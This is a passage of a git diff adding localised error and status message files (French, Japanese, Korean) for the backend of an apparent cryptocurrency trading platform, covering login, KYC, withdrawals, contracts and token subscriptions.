+order.10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... + +contract.delivery.day=There are still: {0} days until delivery. +contract.delivery.margan=There are still: {0} days before delivery; if your position margin is greater than or equal to {1} USDT or your position margin is less than or equal to {2} USDT, you can close the position in advance. +contract.delivery.earn=There are still {0} days left before the delivery time; if your position margin is greater than or equal to {1} USDT, you can close the position in advance. +contract.delivery.loss=There are still: {0} days before the delivery time; if your position margin is less than or equal to {1}USDT, you can close the position in advance. +order.audit.error=Under review +order.audit.pass=Recharging is in progress and requires confirmation from 5 nodes around the world. Please wait patiently. + +#\u7533\u8D2D +own.coin.limit.num=Quantit\u00E9 disponible {0} +own.coin.limit=Solde disponible {0} +own.coin.success=Abonnement r\u00E9ussi +own.coin.error=Erreur syst\u00E8me, veuillez contacter l'administrateur +own.coin.sub.play=Vous \u00EAtes d\u00E9j\u00E0 abonn\u00E9, merci de ne plus soumettre ! +own.coin.sub.error=L'abonnement n'est pas disponible si vous ne vous \u00EAtes pas abonn\u00E9 avec succ\u00E8s +own.coin.sub.success=Vous avez obtenu {0} qualifications d'abonnement +own.coin.sub.num.error=Veuillez remplir la bonne quantit\u00E9 +order.sell.min.error=Le montant minimum de vente est de {0} +order.audit.reject=\u00C9chec de la cl\u00F4ture de la position + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=Application Successfully +own.coin.subscribe.error=Application failed +withdraw.kyc.error=Please complete real-name authentication first to lift the limit +exchange_symbol_error_exist=The exchange currency does not exist +currency.coin.setting.nonexistent=The current {} configuration does not exist +currency.balance.deficiency=The current {} currency balance is insufficient +currency.deal.error=This currency is not tradable +back.code.exist.error=Bank card number already exists{} + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = Veuillez d'abord effectuer une certification primaire + +#\u9ED1\u540D\u5355 +user_is_black = Votre compte a \u00E9t\u00E9 mis sur liste noire et ne peut pas \u00EAtre connect\u00E9. + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= La quantit\u00E9 minimum de commande est {0} +currency.order.max.error= La quantit\u00E9 maximale de commande est {0} + + diff --git a/ruoyi-api/src/main/resources/i18n/messages_ja.properties b/ruoyi-api/src/main/resources/i18n/messages_ja.properties new file mode 100644 index 0000000..ca39427 --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_ja.properties @@ -0,0 +1,161 @@ +user.appname=\u65E5\u8BED +#\u9519\u8BEF\u6D88\u606F +not.null=*\u5FC5\u9808 +user.jcaptcha.error=\u8A8D\u8A3C\u30B3\u30FC\u30C9\u30A8\u30E9\u30FC +user.jcaptcha.expire=\u8A8D\u8A3C\u30B3\u30FC\u30C9\u306E\u6709\u52B9\u671F\u9650\u304C\u5207\u308C\u3066\u3044\u307E\u3059 +user.not.exists=\u30E6\u30FC\u30B6\u30FC\u304C\u5B58\u5728\u3057\u306A\u3044/\u30D1\u30B9\u30EF\u30FC\u30C9\u304C\u9593\u9055\u3063\u3066\u3044\u307E\u3059 +user.password.not.match=\u30E6\u30FC\u30B6\u30FC\u304C\u5B58\u5728\u3057\u306A\u3044/\u30D1\u30B9\u30EF\u30FC\u30C9\u304C\u9593\u9055\u3063\u3066\u3044\u307E\u3059 +user.password.retry.limit.count=\u9593\u9055\u3063\u305F\u30D1\u30B9\u30EF\u30FC\u30C9\u304C {0} \u56DE\u5165\u529B\u3055\u308C\u307E\u3057\u305F +user.password.retry.limit.exceed=\u30D1\u30B9\u30EF\u30FC\u30C9\u304C {0} \u56DE\u9593\u9055\u3063\u3066\u5165\u529B\u3055\u308C\u3001\u30A2\u30AB\u30A6\u30F3\u30C8\u306F {1} \u5206\u9593\u30ED\u30C3\u30AF\u3055\u308C\u307E\u3057\u305F +user.password.delete=\u7533\u3057\u8A33\u3042\u308A\u307E\u305B\u3093\u304C\u3001\u3042\u306A\u305F\u306E\u30A2\u30AB\u30A6\u30F3\u30C8\u306F\u524A\u9664\u3055\u308C\u307E\u3057\u305F +user.blocked=\u30E6\u30FC\u30B6\u30FC\u306F\u7981\u6B62\u3055\u308C\u3066\u3044\u307E\u3059\u3002\u7BA1\u7406\u8005\u306B\u9023\u7D61\u3057\u3066\u304F\u3060\u3055\u3044 +role.blocked=\u30ED\u30FC\u30EB\u306F\u7981\u6B62\u3055\u308C\u3066\u3044\u307E\u3059\u3002\u7BA1\u7406\u8005\u306B\u9023\u7D61\u3057\u3066\u304F\u3060\u3055\u3044 +login.blocked=\u6B8B\u5FF5\u306A\u304C\u3089\u3001\u30A2\u30AF\u30BB\u30B9 IP \u306F\u30B7\u30B9\u30C6\u30E0\u306B\u3088\u3063\u3066\u30D6\u30E9\u30C3\u30AF\u30EA\u30B9\u30C8\u306B\u767B\u9332\u3055\u308C\u3066\u3044\u307E\u3059 +user.logout.success=\u6B63\u5E38\u306B\u7D42\u4E86\u3057\u307E\u3059 +user.ops.status=\u64CD\u4F5C\u6210\u529F + +length.not.valid=\u9577\u3055\u306F {min} \u6587\u5B57\u304B\u3089 {max} \u6587\u5B57\u307E\u3067\u3067\u306A\u3051\u308C\u3070\u306A\u308A\u307E\u305B\u3093 + +user.username.not.valid=* 2 \uFF5E 20 \u6587\u5B57\u306E\u6F22\u5B57\u3001\u6587\u5B57\u3001\u6570\u5B57\u3001\u307E\u305F\u306F\u30A2\u30F3\u30C0\u30FC\u30B9\u30B3\u30A2\u3002\u6570\u5B57\u4EE5\u5916\u3067\u59CB\u3081\u308B\u5FC5\u8981\u304C\u3042\u308A\u307E\u3059 +user.password.not.valid=*5\uFF5E50\u6587\u5B57 + +user.email.not.valid=\u30E1\u30FC\u30EB\u30D5\u30A9\u30FC\u30DE\u30C3\u30C8\u30A8\u30E9\u30FC +user.mobile.phone.number.not.valid=\u4E0D\u6B63\u306A\u96FB\u8A71\u756A\u53F7 +user.login.success=\u30ED\u30B0\u30A4\u30F3\u6210\u529F +user.register.success=\u767B\u9332\u5B8C\u4E86 +user.notfound=\u3082\u3046\u4E00\u5EA6\u30ED\u30B0\u30A4\u30F3\u3057\u3066\u304F\u3060\u3055\u3044 +user.forcelogout=\u7BA1\u7406\u8005\u304C\u5F37\u5236\u30ED\u30B0\u30A2\u30A6\u30C8\u3057\u307E\u3057\u305F\u3002\u518D\u5EA6\u30ED\u30B0\u30A4\u30F3\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +user.unknown.error=\u4E0D\u660E\u306A\u30A8\u30E9\u30FC\u3067\u3059\u3002\u3082\u3046\u4E00\u5EA6\u30ED\u30B0\u30A4\u30F3\u3057\u3066\u304F\u3060\u3055\u3044 +user.register.phone.exist=\u643A\u5E2F\u96FB\u8A71\u756A\u53F7\u306F\u3059\u3067\u306B\u5B58\u5728\u3057\u307E\u3059 +user.register.phone.bind=\u643A\u5E2F\u96FB\u8A71\u756A\u53F7\u304C\u7D10\u4ED8\u3051\u3089\u308C\u3066\u3044\u308B +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u30A2\u30C3\u30D7\u30ED\u30FC\u30C9\u3055\u308C\u305F\u30D5\u30A1\u30A4\u30EB \u30B5\u30A4\u30BA\u304C\u30D5\u30A1\u30A4\u30EB \u30B5\u30A4\u30BA\u5236\u9650\u3092\u8D85\u3048\u3066\u3044\u307E\u3059\u3002\u8A31\u53EF\u3055\u308C\u308B\u6700\u5927\u30D5\u30A1\u30A4\u30EB \u30B5\u30A4\u30BA\u306F\u6B21\u306E\u3068\u304A\u308A\u3067\u3059: {0}MB! +upload.filename.exceed.length=\u30A2\u30C3\u30D7\u30ED\u30FC\u30C9\u3055\u308C\u308B\u30D5\u30A1\u30A4\u30EB\u540D\u306E\u6700\u5927\u9577\u306F {0} \u6587\u5B57\u3067\u3059 + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=\u96FB\u5B50\u30E1\u30FC\u30EB\u306E\u5F62\u5F0F\u304C\u6B63\u3057\u304F\u3042\u308A\u307E\u305B\u3093 +user.register.email.exisit=\u30E1\u30FC\u30EB\u30DC\u30C3\u30AF\u30B9\u306F\u3059\u3067\u306B\u5B58\u5728\u3057\u307E\u3059 +user.register.phone.exisit=\u643A\u5E2F\u96FB\u8A71\u756A\u53F7\u306F\u3059\u3067\u306B\u5B58\u5728\u3057\u307E\u3059 +user.user_name_exisit=\u30E6\u30FC\u30B6\u30FC\u540D\u306F\u65E2\u306B\u5B58\u5728\u3057\u307E\u3059 +login.user_error=\u9593\u9055\u3063\u305F\u30E6\u30FC\u30B6\u30FC\u540D\u307E\u305F\u306F\u30D1\u30B9\u30EF\u30FC\u30C9 +user.login.address.error=\u4F4F\u6240\u304C\u53D6\u3089\u308C\u3066\u3044\u307E\u3059\uFF01 +#app +app.login.address.not.null=\u30E6\u30FC\u30B6\u30FC\u30A2\u30C9\u30EC\u30B9\u304C\u7A7A\u3067\u3059 +login.email.not_register=\u30D0\u30A4\u30F3\u30C9\u3055\u308C\u305F\u30E1\u30FC\u30EB\u30A2\u30C9\u30EC\u30B9\u3092\u4F7F\u7528\u3057\u3066\u64CD\u4F5C\u3057\u3066\u304F\u3060\u3055\u3044 +login.phone.not_register=\u30D0\u30A4\u30F3\u30C9\u3055\u308C\u305F\u643A\u5E2F\u96FB\u8A71\u756A\u53F7\u3092\u4F7F\u7528\u3057\u3066\u64CD\u4F5C\u3057\u3066\u304F\u3060\u3055\u3044 +login.code_error=\u8A8D\u8A3C\u30B3\u30FC\u30C9\u30A8\u30E9\u30FC +user.login.code.error=\u78BA\u8A8D\u30B3\u30FC\u30C9\u306E\u691C\u8A3C\u306B\u5931\u6557\u3057\u307E\u3057\u305F\u3002 +user.login.password.null=\u30D1\u30B9\u30EF\u30FC\u30C9\u3092\u5165\u529B\u3057\u3066\u304F\u3060\u3055\u3044\uFF01 +user.login.upd.success=\u7121\u4E8B\u306B\u6539\u9020\u3055\u308C\u307E\u3057\u305F\uFF01 +phone_code_empty=\u643A\u5E2F\u96FB\u8A71\u756A\u53F7\u3092\u7A7A\u767D\u306B\u3059\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093\u3002 +email.code_empty=\u96FB\u5B50\u30E1\u30FC\u30EB\u3092\u7A7A\u306B\u3059\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093\u3002 +user.code.send=\u78BA\u8A8D\u30B3\u30FC\u30C9\u304C\u6B63\u5E38\u306B\u9001\u4FE1\u3055\u308C\u307E\u3057\u305F +app.verification.email.code=\u78BA\u8A8D\u30B3\u30FC\u30C9\u304C\u30E1\u30FC\u30EB\u306B\u9001\u4FE1\u3055\u308C\u307E\u3057\u305F\u306E\u3067\u3001\u3054\u78BA\u8A8D\u304F\u3060\u3055\u3044\u3002 +user.password_bind=\u30D1\u30B9\u30EF\u30FC\u30C9\u306F\u3059\u3067\u306B\u8A2D\u5B9A\u3055\u308C\u3066\u3044\u307E\u3059\u3002\u518D\u5EA6\u30D0\u30A4\u30F3\u30C9\u3057\u306A\u3044\u3067\u304F\u3060\u3055\u3044\u3002 +user.tard.password_bind=\u30BB\u30AD\u30E5\u30EA\u30C6\u30A3\u30D1\u30B9\u30EF\u30FC\u30C9\u304C\u8A2D\u5B9A\u3055\u308C\u3066\u3044\u307E\u3059\u3002\u518D\u5EA6\u30D0\u30A4\u30F3\u30C9\u3057\u306A\u3044\u3067\u304F\u3060\u3055\u3044\u3002 +user.login.null=\u30E6\u30FC\u30B6\u30FC\u306F\u5B58\u5728\u3057\u307E\u305B\u3093\uFF01 +user.login.old.password=\u53E4\u3044\u30D1\u30B9\u30EF\u30FC\u30C9\u304C\u5165\u529B\u3055\u308C\u3066\u3044\u307E\u305B\u3093! +user.login.new.password=\u65B0\u3057\u3044\u30D1\u30B9\u30EF\u30FC\u30C9\u304C\u5165\u529B\u3055\u308C\u3066\u3044\u307E\u305B\u3093! +user.login.paw.upd=\u65B0\u3057\u3044\u30D1\u30B9\u30EF\u30FC\u30C9\u3092\u53E4\u3044\u30D1\u30B9\u30EF\u30FC\u30C9\u3068\u540C\u3058\u306B\u3059\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093\u3002 +user.login.old.password.error=\u53E4\u3044\u30D1\u30B9\u30EF\u30FC\u30C9\u306F\u9593\u9055\u3063\u3066\u3044\u307E\u3059! +user.login.address.null=\u4F4F\u6240\u304C\u7A7A\u3067\u3059! +user.login.userid.null=\u30E6\u30FC\u30B6\u30FCID\u304C\u7A7A\u3067\u3059! +#\u63D0\u73B0 +user.password_notbind=\u5B89\u5168\u306A\u30D1\u30B9\u30EF\u30FC\u30C9\u3092\u8A2D\u5B9A\u3057\u3066\u304F\u3060\u3055\u3044 +tard_password.error=\u652F\u6255\u3044\u30D1\u30B9\u30EF\u30FC\u30C9\u304C\u9593\u9055\u3063\u3066\u3044\u307E\u3059 +withdraw.amount_number_exceed=\u5F53\u65E5\u306E\u51FA\u91D1\u679A\u6570\u304C\u8A2D\u5B9A\u679A\u6570\u3092\u8D85\u3048\u305F\u5834\u5408 +withdraw_error=\u6B8B\u9AD8\u4E0D\u8DB3\u3067\u73FE\u91D1\u304C\u5F15\u304D\u51FA\u305B\u306A\u3044 +withdraw.amount_error=\u51FA\u91D1\u91D1\u984D\u304C\u9593\u9055\u3063\u3066\u3044\u307E\u3059\u306E\u3067\u4FEE\u6B63\u3057\u3066\u304F\u3060\u3055\u3044 +withdraw.refresh=\u30EA\u30D5\u30EC\u30C3\u30B7\u30E5\u3057\u3066\u304F\u3060\u3055\u3044 +withdraw.address.isnull=\u6B63\u3057\u3044\u51FA\u91D1\u30A2\u30C9\u30EC\u30B9\u3092\u5165\u529B\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +withdraw_require_error = \u73FE\u6642\u70B9\u3067\u306F\u307E\u3060\u6B8B\u308A\u306E\u30BF\u30FC\u30F3\u30AA\u30FC\u30D0\u30FC\u3067\u30D7\u30EC\u30FC\u3059\u308B\u5FC5\u8981\u304C\u3042\u308B\u3002 +withdraw_error_coin=\u3053\u306E\u901A\u8CA8\u306F\u5B58\u5728\u3057\u307E\u305B\u3093 +withdraw_error_rate=\u3053\u306E\u70BA\u66FF\u30EC\u30FC\u30C8\u306F\u5B58\u5728\u3057\u307E\u305B\u3093 +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=\u672C\u4EBA\u8A8D\u8A3C\u60C5\u5831\u306F4\u9805\u76EE\u3059\u3079\u3066\u304C\u5FC5\u8981\u3067\u3059 + +#\u5151\u6362 +exchange.symbol.exist = \u4EA4\u63DB\u901A\u8CA8\u3092\u7A7A\u306B\u3059\u308B\u3053\u3068\u306F\u3067\u304D\u305A\u3001\u4EA4\u63DB\u91D1\u984D\u306F 0 \u3088\u308A\u5927\u304D\u304F\u306A\u3051\u308C\u3070\u306A\u308A\u307E\u305B\u3093 +recharge.amout.min=\u6700\u5C0F\u30EA\u30C1\u30E3\u30FC\u30B8\u91D1\u984D\u306F {0} \u3067\u3059 +recharge.amout.max=\u6700\u5927\u30EA\u30C1\u30E3\u30FC\u30B8\u91D1\u984D\u306F {0} \u3067\u3059 +currency.exchange_min = \u6700\u4F4E\u4EA4\u63DB\u91D1\u984D\u306F {0} \u3067\u3059 +currency.exchange_max = \u6700\u5927\u4EA4\u63DB\u91D1\u984D\u306F {0} \u3067\u3059 +exchange_error=\u4EA4\u63DB\u91D1\u984D\u304C\u53E3\u5EA7\u6B8B\u9AD8\u3092\u8D85\u3048\u3066\u3044\u307E\u3059 +exchange.record.exist.error=\u5F15\u304D\u63DB\u3048\u304C\u9032\u884C\u4E2D\u3067\u3059\u3002\u5F8C\u3067\u3082\u3046\u4E00\u5EA6\u304A\u8A66\u3057\u304F\u3060\u3055\u3044 +#\u79D2\u5408\u7EA6 +order_amount_error=\u30A6\u30A9\u30EC\u30C3\u30C8\u6B8B\u9AD8\u4E0D\u8DB3\u306E\u305F\u3081\u8CFC\u5165\u3067\u304D\u307E\u305B\u3093 +order_10s_retry=\u6CE8\u6587\u304C\u591A\u3059\u304E\u308B\u305F\u3081\u300110 \u79D2\u5F8C\u306B\u6CE8\u6587\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +#\u7406\u8D22 +user.push.message=\u30E6\u30FC\u30B6\u30FC\u306E\u884C\u70BA\u306F\u7981\u6B62\u3055\u308C\u3066\u3044\u307E\u3059 +mine.level.error=\u3042\u306A\u305F\u306E VIP \u30EC\u30D9\u30EB\u306F\u3001\u4E8C\u6B21\u8CC7\u7523\u7BA1\u7406\u5546\u54C1\u3092\u8CFC\u5165\u3059\u308B\u306B\u306F\u5341\u5206\u3067\u306F\u3042\u308A\u307E\u305B\u3093 +order.single.min=\u8CFC\u5165\u91D1\u984D\u304C\u6700\u4F4E\u91D1\u984D\u306B\u6E80\u305F\u306A\u3044\u305F\u3081\u8CFC\u5165\u3067\u304D\u307E\u305B\u3093 +order.single.max=\u8CFC\u5165\u91D1\u984D\u304C\u4E0A\u9650\u3092\u8D85\u3048\u3066\u3044\u308B\u305F\u3081\u8CFC\u5165\u3067\u304D\u307E\u305B\u3093 +order.buy.insufficient=\u73FE\u5728\u3001\u6700\u5927 {0} \u307E\u3067\u8CFC\u5165\u3067\u304D\u307E\u3059 +product.removed=\u88FD\u54C1\u306F\u88FD\u9020\u4E2D\u6B62\u3068\u306A\u308A\u307E\u3057\u305F +financial.count.max=\u3053\u306E\u30E6\u30FC\u30B6\u30FC\u306F\u5236\u9650\u306B\u9054\u3057\u3066\u3044\u308B\u305F\u3081\u3001\u8CFC\u5165\u3067\u304D\u307E\u305B\u3093 +days.not.null=\u8CFC\u5165\u30B5\u30A4\u30AF\u30EB\u306F\u7A7A\u3067\u3059 +days.not.error=\u8CFC\u5165\u30B5\u30A4\u30AF\u30EB\u30A8\u30E9\u30FC + +contract.accont.error=\u5951\u7D04\u53E3\u5EA7\u6B8B\u9AD8\u4E0D\u8DB3 +contract.min.share=\u6700\u5C0F\u8CFC\u5165\u6570\u91CF\u306F {0} \u3067\u3059 +contract.max.share=\u6700\u5927\u8CFC\u5165\u6570\u306F {0} \u3067\u3059 +contract.asset.error=\u5951\u7D04\u53E3\u5EA7\u6B8B\u9AD8\u4E0D\u8DB3 +adjust.min.error=\u6E1B\u5C11\u3057\u305F\u8A3C\u62E0\u91D1\u306F\u6700\u521D\u306E\u8A3C\u62E0\u91D1\u3088\u308A\u3082\u5C0F\u3055\u304F\u3059\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093 +order.status.error=\u4E0D\u6CD5\u63D0\u51FA +contract.buy.earn.error=\u30ED\u30F3\u30B0\u8CFC\u5165\u3001\u30C6\u30A4\u30AF\u30D7\u30ED\u30D5\u30A3\u30C3\u30C8\u4FA1\u683C\u306F\u5E73\u5747\u59CB\u5024\u3092\u4E0B\u56DE\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093 +contract.buy.loss.error=\u30ED\u30F3\u30B0\u8CFC\u5165\u3001\u30B9\u30C8\u30C3\u30D7\u30ED\u30B9\u4FA1\u683C\u306F\u5E73\u5747\u59CB\u5024\u3092\u8D85\u3048\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093 +contract.sell.earn.error=\u7A7A\u58F2\u308A\u30DD\u30B8\u30B7\u30E7\u30F3\u3092\u30AA\u30FC\u30D7\u30F3\u3059\u308B\u305F\u3081\u306B\u58F2\u308A\u307E\u3059\u3002\u30C6\u30A4\u30AF\u30D7\u30ED\u30D5\u30A3\u30C3\u30C8\u4FA1\u683C\u306F\u5E73\u5747\u59CB\u5024\u3092\u8D85\u3048\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093\u3002 +contract.sell.loss.error=\u30B7\u30E7\u30FC\u30C8\u30DD\u30B8\u30B7\u30E7\u30F3\u3092\u30AA\u30FC\u30D7\u30F3\u3059\u308B\u305F\u3081\u306B\u58F2\u308A\u307E\u3059\u3002\u30B9\u30C8\u30C3\u30D7\u30ED\u30B9\u4FA1\u683C\u306F\u5E73\u5747\u958B\u59CB\u4FA1\u683C\u3088\u308A\u4F4E\u304F\u3059\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093 +contract.num.limit=\u6570\u91CF\u306F\u5EFA\u7389\u3092\u8D85\u3048\u308B\u3053\u3068\u306F\u3067\u304D\u307E\u305B\u3093 +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=\u6B8B\u9AD8\u4E0D\u8DB3 +order.amount_error=\u30A6\u30A7\u30EB\u30B9\u30DE\u30CD\u30B8\u30E1\u30F3\u30C8\u53E3\u5EA7\u306E\u6B8B\u9AD8\u304C\u4E0D\u5341\u5206\u3067\u3042\u308B +order.10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... +order_amount_limit=\u91D1\u984D\u306E\u4E0A\u9650\u3068\u4E0B\u9650\u3092\u6E80\u305F\u3057\u3066\u3044\u306A\u3044 +contract.delivery.day=\u914D\u9054\u307E\u3067\u306F\u307E\u3060 {0} \u65E5\u3042\u308A\u307E\u3059\u3002 +contract.delivery.margan=\u53D7\u3051\u6E21\u3057\u307E\u3067\u306F\u307E\u3060 {0} \u65E5\u3042\u308A\u307E\u3059\u3002\u30DD\u30B8\u30B7\u30E7\u30F3\u8A3C\u62E0\u91D1\u304C {1} USDT \u4EE5\u4E0A\u3001\u307E\u305F\u306F\u30DD\u30B8\u30B7\u30E7\u30F3\u8A3C\u62E0\u91D1\u304C {2} USDT \u4EE5\u4E0B\u306E\u5834\u5408\u306F\u3001\u4E8B\u524D\u306B\u30DD\u30B8\u30B7\u30E7\u30F3\u3092\u6C7A\u6E08\u3067\u304D\u307E\u3059\u3002 +contract.delivery.earn=\u53D7\u6E21\u3057\u6642\u523B\u307E\u3067\u306F\u307E\u3060 {0} \u65E5\u3042\u308A\u307E\u3059\u3002\u30DD\u30B8\u30B7\u30E7\u30F3\u8A3C\u62E0\u91D1\u304C {1} USDT \u4EE5\u4E0A\u306E\u5834\u5408\u306F\u3001\u4E8B\u524D\u306B\u30DD\u30B8\u30B7\u30E7\u30F3\u3092\u6C7A\u6E08\u3067\u304D\u307E\u3059\u3002 +contract.delivery.loss=\u53D7\u6E21\u3057\u6642\u523B\u307E\u3067\u306F\u307E\u3060 {0} \u65E5\u3042\u308A\u307E\u3059\u3002\u30DD\u30B8\u30B7\u30E7\u30F3\u8A3C\u62E0\u91D1\u304C {1}USDT \u4EE5\u4E0B\u306E\u5834\u5408\u306F\u3001\u4E8B\u524D\u306B\u30DD\u30B8\u30B7\u30E7\u30F3\u3092\u6C7A\u6E08\u3067\u304D\u307E\u3059\u3002 +order.audit.error=\u691C\u8A0E\u4E2D +order.audit.pass=\u30EA\u30C1\u30E3\u30FC\u30B8\u4E2D\u306E\u305F\u3081\u3001\u4E16\u754C\u4E2D\u306E 5 \u3064\u306E\u30CE\u30FC\u30C9\u304B\u3089\u306E\u78BA\u8A8D\u304C\u5FC5\u8981\u3067\u3059\u3002\u3057\u3070\u3089\u304F\u304A\u5F85\u3061\u304F\u3060\u3055\u3044\u3002 + +#\u7533\u8D2D +own.coin.limit.num=\u5728\u5EAB\u6570{0} +own.coin.limit=\u5229\u7528\u53EF\u80FD\u6B8B\u9AD8{0} +own.coin.success=\u30B5\u30D6\u30B9\u30AF\u30EA\u30D7\u30B7\u30E7\u30F3\u304C\u6210\u529F\u3057\u307E\u3057\u305F +own.coin.error=\u30B7\u30B9\u30C6\u30E0\u30A8\u30E9\u30FC\u3067\u3059\u3002\u7BA1\u7406\u8005\u306B\u9023\u7D61\u3057\u3066\u304F\u3060\u3055\u3044 +own.coin.sub.play=\u3059\u3067\u306B\u767B\u9332\u3055\u308C\u3066\u3044\u307E\u3059\u306E\u3067\u3001\u518D\u5EA6\u9001\u4FE1\u3057\u306A\u3044\u3067\u304F\u3060\u3055\u3044\u3002 +own.coin.sub.error=\u6B63\u5E38\u306B\u8CFC\u8AAD\u3055\u308C\u3066\u3044\u306A\u3044\u5834\u5408\u3001\u8CFC\u8AAD\u306F\u5229\u7528\u3067\u304D\u307E\u305B\u3093 +own.coin.sub.success=\u3042\u306A\u305F\u306F\u5165\u624B\u3057\u307E\u3057\u305F {0} \u8CFC\u8AAD\u8CC7\u683C +own.coin.sub.num.error=\u6B63\u3057\u3044\u6570\u91CF\u3092\u5165\u529B\u3057\u3066\u304F\u3060\u3055\u3044 +order.sell.min.error=\u6700\u4F4E\u8CA9\u58F2\u984D\u306F {0} \u3067\u3059 +order.audit.reject=\u30DD\u30B8\u30B7\u30E7\u30F3\u3092\u30AF\u30ED\u30FC\u30BA\u3067\u304D\u307E\u305B\u3093\u3067\u3057\u305F + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=\u30B5\u30D6\u30B9\u30AF\u30EA\u30D7\u30B7\u30E7\u30F3\u304C\u6210\u529F\u3057\u307E\u3057\u305F +own.coin.subscribe.error=\u8CFC\u8AAD\u306B\u5931\u6557\u3057\u307E\u3057\u305F +withdraw.kyc.error=\u5236\u9650\u3092\u89E3\u9664\u3059\u308B\u306B\u306F\u3001\u307E\u305A\u5B9F\u540D\u8A8D\u8A3C\u3092\u5B8C\u4E86\u3057\u3066\u304F\u3060\u3055\u3044 +exchange_symbol_error_exist=\u4EA4\u63DB\u901A\u8CA8\u306F\u5B58\u5728\u3057\u307E\u305B\u3093 +currency.coin.setting.nonexistent=\u73FE\u5728\u306E {} \u69CB\u6210\u306F\u5B58\u5728\u3057\u307E\u305B\u3093 +currency.balance.deficiency=\u73FE\u5728\u306E {} \u901A\u8CA8\u6B8B\u9AD8\u304C\u4E0D\u8DB3\u3057\u3066\u3044\u307E\u3059 +currency.deal.error=\u3053\u306E\u901A\u8CA8\u306F\u53D6\u5F15\u3067\u304D\u307E\u305B\u3093 +back.code.exist.error=\u9280\u884C\u30AB\u30FC\u30C9\u756A\u53F7\u306F\u3059\u3067\u306B\u5B58\u5728\u3057\u307E\u3059{} + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = \u6700\u521D\u306B\u4E00\u6B21\u8A8D\u8A3C\u3092\u5B9F\u884C\u3057\u3066\u304F\u3060\u3055\u3044 + +#\u9ED1\u540D\u5355 +user_is_black = \u3042\u306A\u305F\u306E\u30A2\u30AB\u30A6\u30F3\u30C8\u306F\u30D6\u30E9\u30C3\u30AF\u30EA\u30B9\u30C8\u306B\u767B\u9332\u3055\u308C\u3066\u3044\u308B\u305F\u3081\u3001\u30ED\u30B0\u30A4\u30F3\u3067\u304D\u307E\u305B\u3093\u3002 + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= \u6700\u4F4E\u6CE8\u6587\u6570\u91CF\u306F {0} +currency.order.max.error= \u6700\u5927\u6CE8\u6587\u6570\u91CF\u306F\u3001 {0} + diff --git a/ruoyi-api/src/main/resources/i18n/messages_ko.properties b/ruoyi-api/src/main/resources/i18n/messages_ko.properties new file mode 100644 index 0000000..49d6137 --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_ko.properties @@ -0,0 +1,161 @@ +user.appname=\u97E9\u8BED\u8BED\u8A00 +#\u9519\u8BEF\u6D88\u606F +not.null=* \uD544\uC218\uC758 +user.jcaptcha.error=\uC778\uC99D \uCF54\uB4DC \uC624\uB958 +user.jcaptcha.expire=\uC778\uC99D \uCF54\uB4DC\uAC00 \uB9CC\uB8CC\uB418\uC5C8\uC2B5\uB2C8\uB2E4. +user.not.exists=\uC0AC\uC6A9\uC790\uAC00 \uC874\uC7AC\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4/\uC798\uBABB\uB41C \uBE44\uBC00\uBC88\uD638 +user.password.not.match=\uC0AC\uC6A9\uC790\uAC00 \uC874\uC7AC\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4/\uC798\uBABB\uB41C \uBE44\uBC00\uBC88\uD638 +user.password.retry.limit.count=\uC798\uBABB\uB41C \uBE44\uBC00\uBC88\uD638\uB97C {0}\uBC88 \uC785\uB825\uD588\uC2B5\uB2C8\uB2E4. +user.password.retry.limit.exceed=\uBE44\uBC00\uBC88\uD638\uAC00 {0}\uBC88 \uC798\uBABB \uC785\uB825\uB418\uC5B4 